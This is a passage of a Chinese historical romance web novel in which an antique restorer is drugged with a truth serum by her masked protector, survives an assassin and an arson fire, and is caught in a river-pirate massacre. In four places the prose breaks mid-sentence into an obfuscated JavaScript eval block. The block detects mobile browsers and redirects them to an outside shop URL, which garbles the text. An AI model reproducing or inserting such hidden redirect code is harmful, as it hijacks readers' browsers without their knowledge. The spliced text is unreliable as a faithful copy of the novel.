他是赵掌柜一手提拔上来的,赵掌柜对他很大方,生意上也很照顾他,他将赵掌柜看作自己的亲生哥哥,此番他赵哥被如此侮辱,他怎么能不着急? 赵掌柜扶着太师椅缓缓坐下,神色怔怔。 “我能有什么办法,这次竟然被他们摆了一道。” 另一人道:“既然那女人这么厉害,为何不将她撬过来?” 郑尚:“是啊是啊,赵哥,只要你想,我肯定去帮你做。” 赵掌柜怒道:“把她撬过来,你还嫌我不够丢脸是不是?” 郑尚连忙低头:“错了错了,我知道错了,您别生气。” 赵掌柜闭了闭眼,再睁眼时,向来温和的眸子全是汹涌的暗色。 他音色沉沉道:“她,不能留。” 路元玉随侯四同离开后,发现他们博古轩的店门前竟然排起了长队。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001543|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她和侯四同对视一眼,都从对方眼里看出了满满的惊喜。 侯四同仰天大笑:“李姑娘,接下来可有的你忙楼!” 路元玉真的忙了起来。 她是六月末来到博古轩的,来到博古轩的第二日就开始埋头苦干修各种文物,这一忙起来,她好像回到了前世的时候,虽然累点,但终于到了自己熟悉的领域,忙得也很开心。 虽然她在忙着修复古董,但她心里还记着自己的那个支线任务。 【查清楚原主家族‘文字案’的真相。】 于是在这天刚刚闲下来时,就去了当地的情报收集中心——晋江酒楼。 湖州府地处江南,风景秀美,经济发达,人来人往,酒楼中云集了天下奇闻异事,只要你付得起相应的报酬,那你什么都能知道。 这天路元玉回来很晚,一进入房间,就又感受到了那久违的、阴寒的视线紧紧黏在自己身上。 路元玉轻手轻脚关上门,走到桌前,刚拿出火折子将灯芯点燃,下一秒就被一阵凌冽的寒风吹灭。 路元玉一惊,装作刚意识到有人的样子,猛然往风来的方向看去,厉声问道:“谁?” 一阵衣料摩擦的声音响起,一个人从房梁上跳下,落在路元玉不远处。 路元玉定睛看去,发现确实是季修宁,便安下心来,同时又疑惑起来。 他怎么突然过来了? 季修宁在椅子上坐下,拿出那把划破过她脖颈的匕首,擦拭了起来。 路元玉看着他的样子,以为他不会说话了,便也不主动开口,转过身,走到书桌后坐下,借着月光,拿起一本书。 他主动来找自己,肯定是有事,不管是什么事,自己都不能主动开口。 果然,她坐下后,季修宁冷冷地瞥了她一眼,像匕首上的寒芒。 “晋江酒楼。” 他面无表情,眼睛却死死盯着她,似乎只要她做出一点应激反应,他就会用手上这把匕首,狠狠划破她的血肉。 闻言,路元玉将书往上抬了抬,挡住了微微勾起的唇角,眼睑微垂。 语气自然道:“奥,听说过,怎么突然同我说这个?” 季修宁手上的动作微顿,路元玉丝毫不怀疑,如果她再装傻,下一秒她的人头就会落地。 但她丝毫不杵。 “你跟踪我?” 季修宁见她承认,又低下头仔细擦拭匕首,一副理所当然的样子。 好像在说“跟踪又怎样,不杀你就不错了。” 路元玉哼了一声,“你到底想问什么?” 季修宁语气淡淡:“你去那里做什么?” 路元玉理所当然:“打听情报啊还能做什么?吃饭吗?” 季修宁眸光微闪,等着她继续说下去。 路元玉却不说了。 她的眸子在月光下清亮如泉水,带着些微不可察的笑意。 季修宁的喉结不动声色上下滚动了一下,然后平静地站起身,从怀中拿起一个纸包的东西,全都洒到了茶壶里。 他将茶壶来回晃动了几下,将里面的茶倒了一杯出来,缓缓递到路元玉面前。 “喝下去。” 16. 第十六章·奖励 路元玉带着笑的眉眼冷静下来,目光从茶杯移到他的脸上。 “这是什么?” 季修宁脸上看不出什么表情,依旧是一副冷冷的样子。 “喝下去你就知道了。” “你要杀了我?”路元玉声音也冷了下来。 季修宁眉毛微挑,看上去有些意外。 见状,路元玉紧张的心情缓了几分。 不是毒药,那是……? 想到自己可能是惹他不高兴了,现在这样对她可能是他的惩罚,路元玉心下有些纠结。 就这样喝下是不是显得她太好拿捏了? 但不喝?肯定是不可以。 路元玉眉心紧拧,语气沉沉道:“我从不喝来历不明的东西。” 她以为季修宁会失去耐心,强硬的掰开她的嘴给她灌下去。 但没想到,他竟然淡淡开口:“是吐真剂,不会对你的身体有损伤的。” 路元玉微愣。 这……那就喝吧。 但,路元玉眉眼一抬,“你就只能问我今天相关的事,其他不许瞎问。” 其实瞎问也没关系,反正系统是不会允许她说出来的。 季修宁犹豫片刻,微微点头。 见状,路元玉微微抿唇,快速地将他手中的茶拿了过来,一饮而尽。 一股浓郁的草木香充斥着她的口腔,她砸了咂舌,没感觉有什么不适感。 她看向季修宁,“这样就可以问了?” 季修宁抿抿唇,“再等等。” 很快,路元玉感觉自己舌根处微微泛麻,随后有些轻微的眩晕和耳鸣,仿佛世界隔了一层水。 她不自觉地将头靠在椅背上,缓解不适,手指开始变得无力。 眼皮沉重,视觉开始分离,她看见季修宁不断摇晃,但仿佛他站在水波中央,溅起一池涟漪。 他的声音阴冷低沉,听得异常清楚,仿佛他的声音直击她颅内。 “你今天为什么去晋江酒楼。” 路元玉不受控的开口:“因为要查我们陆家的冤案。” 季修宁沉默片刻。 “你到底是谁?” 路元玉:“……我是路元玉。” 季修宁:“你为什么可以连续精准地救我三次?” 路元玉:“……” 问问题时,季修宁脸上没有一丝表情,就像是在审问犯人一样。 实际上,审问犯人时他比现在狠厉多了,他不明白为什么区区一个吐真剂能让她难受成这样。 不知道他问了几个问题,路元玉到最后都不知道自己有没有回答,回答了什么,整个身体都不在自己的掌控之中。 最后,她一阵心慌,身体微热,脖颈、身体满是潮湿,粘腻不已。 季修宁看着她片刻,脸上神情莫辨,转身想离开。 却看看到路元玉此刻气喘吁吁,大汗淋漓的样子,脚尖换了个方向,跨步向她走来。 路元玉模模糊糊感受到一个高大身影向她靠近,想向后退,却无力动弹。 季修宁一把将她抱起,他的怀抱凌冽却沉稳有力,明明是最危险的人却给了她极度的安全感。 季修宁将路元玉抱到了床上,转身离开,片刻后,从外面端来了一盆热水。 他将毛巾浸湿,给她擦了额头的汗珠,动作轻柔,指尖却冰冷。 季修宁给她盖上被子,喂她喝了几口水。 看着她毫不设防的样子,眼中的寒意不自觉散了几分。 路元玉已经虚弱得不知今夕何年,疲惫得想立刻就睡过去,但大脑皮层却兴奋得乱叫。 简直——太刺激了。 第二天,路元玉直接没起来床,直到又一天过去,路元玉才感觉稍微恢复了一点。 来到店里,见到侯四同正在接待客人,她便将店里的卫生打扫了一下。 侯四同接待完客人,见她在擦桌子,连忙将她拦了下来。 神态关心道:“你这两天就别干了,多多休息吧” 路元玉一脸疑惑,“怎么了?” 侯四同:“修宁说你前天晚上发烧了,这几天需要好好休息,你今天也别在这儿呆着了,回去休息一下吧。” 说着,又自责起来,“唉,怪我,肯定是前几天让你太累了,才突然发烧,幸好修宁及时感到,要不然,我这良心可过不去啊……” 路元玉看着侯四同自责的摸样,有些不忍,只能安慰道:“不是的侯爷爷,我就是……我就是不小心着凉了,不关您的事,您别往心里去。” 见侯四同满口答应,她心里才好受了点。 闲下来,路元玉忍不住暗自蜚腹,什么对身体没有影响,她以后再也不喝了。 其实那天晚上她什么都没有查出来,她问的东西涉及朝堂,太敏感,人家倒是有消息,但她没有钱,人家说什么都不肯给她。 她软磨硬泡了很久,都没办法,才那么晚回去。 季修宁这次离开后,又是很久都没有再出现,路元玉心中不断猜测,却一点线索都没有。 转眼过去了两个月。 这两个月以来,路元玉已经可以将店里的一应事务全部掌握。 侯老爷子非常欣慰,于是这几日便全权将店面交由她打理,自己放松去了。 这日闭了店后,路元玉照旧回到库房,打算开始修补残缺古董。 由于她没钱,只好收更多的残缺古物来赚些外快,争取早日将晋江酒楼那条消息买下来。 然而,刚关上门,她又一次感受到了那道阴冷的视线,而且她敏锐地发现,这次的视线稍有不同,似乎比以往多了一些……粘腻。 是了,好像被蛇信子舔过,留下满身粘液。 路元玉微微垂眸,不想去看那藏在暗处的人。 她径直走向桌前,点燃油灯,将房间瞬间照亮。 桌面上静静躺着一张纸。 路元玉眸光微动,并没有拿起来,而是当作没看到似的,走到另一边的桌子上,拿起修了一半的玉盘。 时间一分一秒过去,路元玉感觉落在自己身上的目光冷了又冷,似乎要将她剥皮剜筋。 路元玉也有点冒汗,不过她觉得他应该不会因为这点事就杀了她。 这两个月以来,她经常回想那天晚上他到底问了些什么,虽然他答应了她不会问别的,但直觉告诉她,他不仅问了,还问了很多。 虽然她知道系统会给她兜底,但不能放任季修宁这种不遵守规则的行为。 刚这么想,桌上的油灯又被吹灭了。 路元玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他出尔反尔,让她伤心了,确实该罚。 于是他面无表情,点了点头:“你说,怎么罚?” 路元玉转过身,压下眼底隐约的震惊之色,抬手轻抚忽然开始剧烈跳动的心脏,沉哑开口:“滴蜡。” 季修宁点点头,一言不发地坐在凳子上,还听话的将衣服脱了。 点蜡这种刑罚他也对别人用过,但只用过一次。 蜡油点在皮肤上只是高温灼烧,疼一下而已,吓唬人可以,但真的当作逼问的刑法就太轻了。 她选择此刑罚……已经很体贴了。 路元玉拿着被点燃的蜡烛转身后,就看到季修宁裸着上半身,一脸严肃地坐在凳子上,一言不发。 不像是等待被惩罚的,反而像是等老师来上课的乖乖学生。 有点可爱是怎么回事? 路元玉不自觉抿紧唇,拿稳蜡烛慢慢走过去。 她走到季修宁身前,居高临下,“你上次多问了几个问题?自己数数。” 17. 第十七章·惩罚 季修宁喉结微滚:“……三个。” 路元玉:“我也不问是哪三个了。我很公平,你多问了三个,我就滴三下,你觉得可以吗?” 季修宁声音低沉:“可以。” 路元玉不再说话,视线在他身上扫了一圈。 这是她第一次这么光明正大地看一个成年男性的身体,但其实这并不能让她如此兴奋,她兴奋的点在于,他愿意乖乖地让她罚。 想到这里,手中的蜡烛没拿稳,抖了一下。 已经积累到溢出一个凸起的蜡液瞬间就滚落了下去,落到他的肩膀上。 他身体轻微抖动一下,周围的肌肉骤缩,却一点声响都没发出。 路元玉眼眸微暗,她不想给他太大的压力,这滴过后,很快地也完成了最后两滴,然后将蜡烛吹灭了。 路元玉:“这次被罚,长记性了吗?” 季修宁声音低沉地“嗯”了一声。 路元玉满意地舒展眉眼,走到一旁的洗漱架前,拿起毛巾沾了点水。 递给已经开始穿衣服的季修宁,“自己擦一下吧。” 季修宁动作微顿,“不用了。” 路元玉举着手没动。 季修宁拗不过她,只好接了过来,给自己擦拭。 路元玉则不再管他,走到桌子旁边拿起那张纸。 “既然这是给我的奖励,那我就不客气了。”路元玉回过头,看着他笑弯了眼睛。 季修宁低下头,“嗯。” 路元玉认真看了起来。 上面只有寥寥几句话,写的是天狩元年,陆家“文字案”的案情记录,可惜的是这些资料都是官府案册上记录的东西,并不能帮助她什么。 她眼睛快速落到最后一行。 “此案件其余卷宗,皆被存放在金陵的图籍整理司。” 图籍整理司是专门负责接收、清点、修补、分类前朝留下的所有官方文书、档案、图籍。 “图集整理司……” 她看向季修宁,他一定也早就看过这些,“你要陪我去金陵吗?” 季修宁已经穿戴整理完毕,闻言向她走近几步。 “去,但不是现在。” 路元玉:“那是什么时候?” 季修宁不知从哪里拿出来一个黑色包裹,他在她的注视下将其放到桌上,拆开。 “你先把这个修好。” 路元玉细细打量他两眼,狐疑看向包裹里的东西。 这是一件西汉时期的错金铜博山炉,炉盖铸以峰峦、神兽及狩猎场景,底座以三龙承托。 精微奇绝,穷工极态。 唯一美中不足的便是炉盖部分山峦有缺损,炉身有严重污渍与锈蚀。 路元玉有些心疼。 “你从哪里弄来的?” 季修宁:“这不是你该问的。” 路元玉:……行。 路元玉隐忍地点点头,刚要进一步研究,忽然!房间里的灯又灭了! 路元玉以为还是季修宁搞的鬼,皱起眉。 “你搞什么?” 季修宁沉沉回应:“不是我。” 他话音刚落,倏然响起一阵破风声直冲她面门而来! 路元玉察觉到危险的逼近,却躲闪不及,左侧肩膀被一根极细的暗器划伤。 几乎同时,又是数枚细针射向季修宁。 季修宁反应迅速,侧身躲过大部分细针,面不改色地拔出身旁一架古琴下的硬木琴轸挡在他们二人身前。 “你躲起来。”季修宁低声嘱咐。 路元玉面色惨白,抱着博山炉和自己的胳膊躲在了桌子下面。 房间内一片昏暗,只有惨淡的月光给室内披上一层朦胧的薄纱。 季修宁集中注意力,搜寻杀手的方位。 忽然,鼻尖传来一股浓郁的草药味道。 他倏然抬头,将硬木琴轸挡于自己胸丨前,随即室内便响起几声叮叮脆响。 季修宁猛地将桌上的账本砚台统统甩向面前的杀手。 杀手却并没有如同季修宁想象中与他拼命,而是一边打一边往后躲,期间还时不时往路元玉那边甩几道暗器。 杀手对库房好像很是熟悉,利用大量瓷器和玉器作为掩护和障碍,甩出暗器逼迫他走位,同时慢慢逼近路元玉。 一时间,竟不知他的目标到底是谁。 季修宁怕毁坏古董引发更大动静,只能紧咬刺客,让他不能分出心思接近路元玉。 缠斗片刻,刺客似乎耐心告罄,直直扑向路元玉,季修宁连忙上前抵挡,却在紧要关头,那刺客又变了方向,直直插入他的手臂! 季修宁猛然深吸一口气,体内残存内力强行催动,不顾毒性加速扩散,任由其用匕首在自己左臂划开一道深可见骨的血口。 同时,他的右手以不可思议的角度自下而上,狠狠戳中刺客右肩井穴,左脚狠狠扫向对方膝关节。 “咔嚓”一声轻响,伴随着刺客一声闷哼,刺客右臂瞬间脱力。 他见事不可为,眼中狠色一闪,朝路元玉的方向又掷出一把细针,趁季修宁去护之际,撞破窗户逃走了。 刺杀来的突如其来,结束的也很快。 季修宁重新将油灯点燃,照出室内一片狼藉。 路元玉抱着博山炉从桌子底下钻出来,捂着肩膀上的伤口,强忍疼痛问道: “是来找你的?” 季修宁上前两步,眉心紧皱,摇了摇头,“不好说。” 然后目光落在她的肩膀,眼睛不自觉散发出一些杀意,“你受伤了。” 路元玉无力说话,只好点了点头,坐在凳子上。 转身想将博山炉放在桌子上,却一个没放稳,博山炉“咕噜噜”掉了下去。 瞬间,路元玉面色惨白,浑身的血液逆流到头顶,心脏几乎是要跳出来,身体瞬间僵硬起来,站在原地一动不敢动。 季修宁却没什么大反应,走过去将它捡了起来,看到路元玉的状态后,怔了一下。 “怎么了?” 路元玉眼睛动了动,意识到现在不是以前在工作室的时候,不由得瞬间松了口气。 幸好她师父现在不在,要不然会骂死她。 她师父对她虽然很偏爱,但在对于古董一事上有很认真严肃,刚才这一下,如果被师傅看到,一定会被打手心一百下,再抄写《清静经》五十遍。 再抬头看向他的手臂时,路元玉压下心中的惊慌,苦笑一声:“你也受伤了。” 季修宁手臂上流的血比她还多,伤的比她还重,却好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001545|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事人一样,来去自如。 “我没什么,现在天色还早,我去叫个大夫,你在这等着。” 季修宁不等她说话,便离开了。 路元玉目光放在桌上的博山炉上,眼眸轻颤,然后走过去将她拿在了手上。 她刚才已经仔细观察过这炉子,所以心中对它已经很熟悉了,但这次她再拿起时,瞬间便感到有些不对劲。 她双眉微拧,极快地将博山炉翻了个底朝天。 底部一处竟微微突起! 来不及惊讶,她快速在周围研究起来,片刻后,她居然将炉体底部打开了! 底部居然有夹层! 居然是半枚青铜鎏金飞龙鱼符! 鱼符长约三寸,宽寸余,厚不足半指。 主体为鱼形,以青铜色为主,鱼身之上,则盘踞着一条昂扬的飞龙。 飞龙通体鎏金,尤为厚重。龙鳞以细密如粟的鱼子纹为底,其上再錾刻出层层叠叠的片状龙鳞,宛如活物。 鱼符下面还有一块本色生丝绢。 它被折叠成不规则的方形,边缘已有细密的毛边与脆化感,仿佛稍用力便会碎裂。 绢面散布着不均匀的黄褐色晕痕。 路元玉小心翼翼将它平铺开来,两行文字映入眼帘。 “丙子城破日,半符付卿。另半在金陵澄心堂,持符者,可号令潜鳞。——兄绝笔” 似乎是以鲜血书写,历时多年,颜色不再是猩红,而是氧化沉淀为一片层次复杂的暗色调。 字形潦草急促,笔画多有飞白与拖曳,显然是临终绝笔。 路元玉呼吸一滞,眼中顿时射出两道金光——不愧是她高价收来的古董,果然不同凡响! 如果她能把这些东西带回现代就好了! 她在翻看这些东西的时候很是小心翼翼,所以虽然她感觉没过多长时间,季修宁就带着郎中回来了。 季修宁一进屋就察觉到了她的不对劲,两人对视一眼,先是让郎中给他们处理了伤口,又开了药方,将他送走后,路元玉将那两样东西放在季修宁面前。 “鱼符、金陵澄心堂……” 他看着这两样东西,眼中却丝毫没有惊讶之色,顿时路元玉便知道了这是他专门不知从哪里寻过来的物件,另外半枚鱼符,就是他要去金陵寻找的东西。 集齐一整块鱼符,号令潜鳞。 虽然不知道潜鳞具体是什么东西,但肯定不简单。 看着他有些出神的样子,路元玉忽然想起来,他们前朝,好像就是定都于金陵。 她又略一想,大概明白了这貌似是前朝国破时,某位将军为求救兵,将这枚血书藏到了这改装过的博山炉里,但没想到,直到现在才重新回到皇子手中。 既然这本就是前朝的东西,此时回归前朝皇子似乎也理所当然。 季修宁很快回过神来,将那两样东西收了起来,看了路元玉一眼,什么也没说,翻窗走了。 路元玉:…… 她便也没再多想,将库房的门窗又检查了好几遍,早早歇下了。 半夜,她却突然发起了高烧,烧得她口干舌燥,意识模糊,迷迷糊糊还闻到了木材被烧焦的味道。 她恍然醒神,猛地睁眼,发现房间中已经被滚滚黑烟充满! 18. 第十八章·危机 胸腔瞬间窒息,眼睛被逼出眼泪,路元玉咳嗽两声,连鞋都来不及穿便跑下床。 火势蔓延的很快,她跌跌撞撞跑到木门前,却发现门怎么也打不开。 当即她心里凉了半截——有人要故意害她。 路元玉摸摸自己伤口的位置,眸色沉沉,说不定今晚那个杀手也是来杀她的。 但是季修宁已经走了,这次她不能再靠他了。 路元玉在一秒之间做出决定,面色不改转身,从自己身上撕下一块布,用桌上茶壶里的冷茶将其浸丨湿,捂住了口鼻,转身往窗户那边跑去。 好在要害她的人只是将门锁上了,窗户这边只是放了一堆柴,现在抓紧时间还能将柴火推开翻出去。 但是窗户太小,她翻得有些费力。 并且大火已经烧到了窗棱,路元玉感觉已经有火舌在她身上舔过,她仿佛置身火笼,似乎已经闻到了头发烧焦的味道。 在窗户彻底被火焰包裹之前,她终于从窗子里滚了出来。 周围都是店铺,大多数人都选择不在店里过夜,只有少数人发现了这里起火,连忙赶来帮忙灭火。 路元玉翻出来的一瞬间,被一个正好来这里帮忙的人发现,连忙将她抬到远处休息。 路元玉听话地休息了一会儿,也只是一会儿,便起来去救火。 她在这里住着,现在起了大火,她有不可推卸的责任。 博古轩的火在半个时辰后才被灭完,灭完后她就这么坐在废墟里,度过了后半夜。 翌日,侯四同也听说了店铺起火的事,连忙跑过来看,看到路元玉狼狈、肩膀上又有伤口的样子,吓得差点站不稳。 “元玉!你这是怎么回事?” 路元玉回过神,连忙去扶他,“侯爷爷,我没事,只不过是受了点小伤,已经没事了。” 侯四同:“怎么弄的?你这伤口——是谁干的?” 路元玉:“没事的。肩膀上的伤是昨天晚上弄的,有些复杂,但已经包扎过了,而且这场火我发现的及时,并无大碍。” 闻言,侯四同面色稍缓。 路元玉有些自责的继续道:“昨晚睡前我好好检查过,油灯我肯定吹灭了。而且我想开门往外跑的时候,发现门被人从外面给锁上了。这次纵火肯定是冲着我来的。侯爷爷,是我连累了你。” 侯四同见路元玉一脸憔悴的样子,不由得叹了口气。 “没事,旧的不去新的不来,就当是破财消灾了,别往心里去。” 侯四同轻拍她的肩膀,声音低沉沙哑。 “一些身外之物而已,重要的是人没事。” “你也别觉得是你连累了我,你才来多久?要是仇家想报复,那也是因为我。” 路元玉叹了口气,不想再说什么。 只是暗暗下定决心,一定要将背后纵火之人给揪出来。 他们将店面清点了一番,发现大部分古董都已被毁坏,损失惨重。 “唉……” 侯老爷子虽然嘴上说着没事,但看着满地残骸,也忍不住紧皱眉头,心事重重。 路元玉踌躇上前:“我、我把这些都修好吧。” “修好价值也不大了,我决定这两天去周边县里收一点新的,你留在这里还是和我一起去?” “去收古董?” 前世路元玉倒是听说过,专门有人低价从百姓手中买,然后再高价卖出去,但是她从来没见过。 想了想,她点头,“我和你一起吧。” 话刚落,两人面前闪现一道黑影。 季修宁黑着脸,视线在被大火烧成废墟的店面上绕了一圈,落在二人身上。 侯四同面露几分窘迫,皱着眉解释:“昨天晚上特意有人来搞破坏的,还好没连累到李小姐,但没抓到放火的人是谁,我也是今天一早才听到消息……” 季修宁看向路元玉,确认她身上确实没有额外被火烧伤的痕迹后,面色稍缓。 路元玉见季修宁来了,顿时心里安定下来,一脸愤愤道:“肯定是那个赵老板,派人来杀我没杀死,又让人放火来烧我!” “有人要杀你?”季修宁没什么反应,但侯四同闻言却惊得瞪大了眼,“你肩膀上的伤口是这么来的?” 路元玉:“对……别担心,昨天晚上那人来的时候,正好季修宁也在,帮我把他打跑了。” 侯四同连连点头,一脸后怕:“那就好……” 然后又想起什么似的,扭头一脸严肃道:“修宁,这又是杀人,又是防火,看来那人确实恨不得李小姐去死,她最近很危险……我记得你的那处宅院,不是有个西厢房还空着,我看你救把李小姐接回去,放在身边正好能保护她,你觉得怎么样?” 季修宁却没有立刻回话,他在侯四同说话时就绕着废墟又仔细检查了一番,然后弯腰,不知捡了个什么东西走了过来。 路元玉凑近一看,“这是……油罐?” 侯老爷子也凑近看了看,有些不确定补充道:“不过,这好像是军中的制式,怎么会在这里见到?” 三人同样眼眸微沉,路元玉更是疑虑丛生。 这么说,放火的人是军队的人,难道说,是太子宋承安那边的人? 可是他为什么要防火烧这间铺子呢? 路元玉声音沉沉:“昨天那个刺客,查到什么下落了吗?” 季修宁摇了摇头,“还需要一点时间。” 事情一时间进入了死胡同,众人都没什么头绪,一时都无话可说。 但就这么站在这里也不是事儿,路元玉重新振作起精神,弯腰收拾一些还能修复的和一些没被烧毁的器物,一边道:“那我们先去周边收点古董吧,正好我有一些材料需要买,等我们回来之后,季修宁应该也就查到了,到时候我们再报仇也不迟。” 闻言,侯四同也觉得是这么个理,便点了点头,看向季修宁。 季修宁没有说话,便当他是默认了。 几人收拾了一阵,路元玉发现店里的镇店之宝还在,不由得又开心两份。 “镇店之宝还在,店就在,我们一定可以把那个幕后之人抓出来的!” 侯四同:“对!” 一直忙活到晚上,侯四同终于坚持不住要回去了,就将路元玉托付给了季修宁转身走了。 路元玉:其实她可以自己睡客栈的。 但看了看沉默的季修宁,她向前一步,笑道:“走吧,带我回家。” 季修宁:“……” 季修宁家里很乱,院落布满灰尘杂物,她要住的西厢房也是慢慢的灰尘。 路元玉忍不住嫌弃,“你都不打扫卫生吗?” 季修宁冷酷抱臂:“不需要。我平常不从这里过,只需要房间干净就好了。” 路元玉无语,只好专门请了人过来打扫。 翌日,路元玉拟了一个购物清单,让侯老爷子先通过人脉预定了一些修复材料。 两日后,路元玉和侯老爷子坐上了前往仁和县的货船。 季修宁也跟着来了。 但大多时候他都躲在暗处,不轻易出面,所以由他没他没什么两样。 去的时候风平浪静,非常顺利,路元玉也买到了自己需要的那些修补材料。 三人又去了周边其他县搜刮了一番,挥霍出去好多银子。 一个月后,三人终于坐上了回到湖州府的货船。 夜色渐深,船慢慢行至老鹳荡一带。两岸芦苇的影子在月光下般摇曳,除了水声橹声,四野俱寂。 路元玉睡不着,站在甲板上看星星。 她很喜欢看晚上的星空,能让她感到平静和安稳。 除了她,还有一位船公在后方掌舵。 虽然她看不到,但她也能感受到,季修宁此时在看她。 船身摇摇晃晃,微凉的江风缓缓吹过。 这么长的接触中,她发现她对季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011874|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修宁的视线已经产生了质的改变。 一开始,她紧张,害怕,但现在,她能从这沉默的、带着微湿凉意的视线中,奇迹般地感受到一丝安全感。 在这广袤的田地间,更是隐隐有一种不可说的兴奋。 她闭上眼睛感受。 忽然! “不好了!来人啊!遇到水匪了!快来人啊!” 船公惊慌的声音刚传入路元玉耳朵,她便瞬间睁开了眼,从甲板上坐了起来。 不远处,数条小舟如同水鬼般从芦苇丛中悄无声息地钻出,迅速合围,将他们的客船逼停在青川江心这片孤立的水域。 路元玉这才发现,她们这艘船已经停了下来。 季修宁仍躲在暗处,没有贸然露面。 他擅长突袭、刺杀,正面对抗不占优势,更何况对面还是群攻。 对面水匪的速度很快,而且是有计划有谋略的一次作战。 距离一点点逼近,水匪的小船上忽然射过来漫天箭雨,密密麻麻仿若流星。 路元玉连忙躲在一个木桶后面,而此时季修宁也从暗处现身,帮路元玉挡住了一波攻击。 “外面危险,你去船舱。” 季修宁语气沉沉,面色严肃。 路元玉却抓紧了他的衣袖:“对面人这么多,你别去硬拼。” 否则被一箭穿心,她也救不活啊! 季修宁闻言,眼神稍软,但拒绝了。 “你放心,我不会有事。” 说完就将路元玉随手一提,扔到了船舱里。 船舱里原本在熟睡的众人纷纷被外面的动静惊醒,乱作一团。 路元玉压下心中慌乱,忽略掉周围人的目光,快步走到侯四同身边,轻声安抚:“侯爷爷,外面遇见了水匪,修宁带着其他护卫正在对抗,您别担心。” “什么?水匪!” 侯四同低声惊叹。 他的声音被周围的人听到,瞬间又引发了一阵骚乱。 路元玉凑近他一些,按了按他肩膀,以示安慰:“别担心,季修宁在外面,我们一定会没事的。” “这这这……听声音外面这么多人,他自己能行吗?” 路元玉也不确定,面色露出几分迟疑,“这……” 侯四同突然推了她两下,“你们快走吧,不用管我这个老骨头了,他们是劫财,不会对我们怎么样的。” “这怎么行!” 船舱外,一轮箭放完后,那些水匪就都上了船,和季修宁几人缠斗在一起。 他们这艘船是专门装运货物的船,船上的人都是些有身份的人,随身都带了护卫,此时还能和水匪打几个来回。 但水匪数量众多,众多人和他们缠斗在一起,让他们不能顾及到船舱那边,以至于已经有水匪趁他们不注意,摸到了船舱入口处。 船舱里乱糟糟成一片,忽然门被踢开,进来几个蒙着面、拿着长剑的水匪,船舱里的人见状,立马跪下开始求饶,但那些水匪一言不发,他们杀红了眼,直接一剑刺死了他们。 躲在后面的人见状,更是吓破了胆,尖叫出声。 尖叫声,求饶声,刀剑刺进肉里的声音在船舱内交融在一起,像是一场盛大的沉浸式体验游戏,路元玉有片刻的愣神。 然而很快,她被人向后扯了一把,跌坐在船板上。 “你还在那里傻站着干什么,赶紧躲起来!”侯四同焦急的声音从身后传来,路元玉连忙点头。 他们以为水匪是来劫财的,没想到竟是专门杀人的。 那些水匪明显是听了指令,一个活口也不留,才会下手如此狠辣迅速。 转眼间,船舱里活人倒下去大半,还剩下几个人还在绝望地求救,哭着希望眼前的杀人犯能够放自己一命,但话还没说完,头颅就已经被人砍下来,咕噜噜滚到一边,睁着眼睛死不瞑目。 路元玉躲在柜子后面,不期然对上了那个人头的目光。 19. 第十九章·脱险 但不容她有什么反应,柜子猛然被人掀起,他们二人瞬间暴露在灯光之下。 路元玉这才发现,船舱里原来有十几人,现在就只剩下他们二人了。 也许是连续杀了这么多人,水匪也有些疲惫,狞笑着看着他们,并没有立刻动手。 但后面的水匪明显更谨慎,开口催促道:“你等什么呢,还不快动手!” 站在路元玉身前的水匪,才又一次抽出长剑,狠狠冲她胸前刺来—— 路元玉绝望地闭上双眼。 她很想逃,但身体一点也不听使唤,像是突然被魔法变成了一尊雕像一样,只能站在原地一动不动,徒留满心恐慌,等待死亡。 刀剑刺进血肉的声音有一次在她耳边响起,但她怎么没感受到疼痛? 她睁开眼,瞳孔瞬间骤缩—— 侯爷爷! 只见侯四同张开双臂,背对着她,义无反顾地挡在了她前面。 他年龄大了,他的背也有些佝偻了,但此时却在她的心里无限放大,再放大。 水匪抽出剑,皱了下眉,似乎对侯四同这样的行为感到一丝不悦。 路元玉连忙接住失去力气倒下来的侯四同,眼中不自觉溢出了眼泪。 “侯爷爷……您……”她说不出话来。 侯四同一如初见时和蔼地看着他,什么都没说,却像什么都说了似的,闭上了眼。 “侯爷爷!” 她不管不顾地哭了出来,但下一秒,又抬起头来,双眼通红,怒目而视地看着眼前的水匪,似乎侯四同的死,给了她一份扭曲的力量,让她短暂的强大起来。 “啊——你去死!” 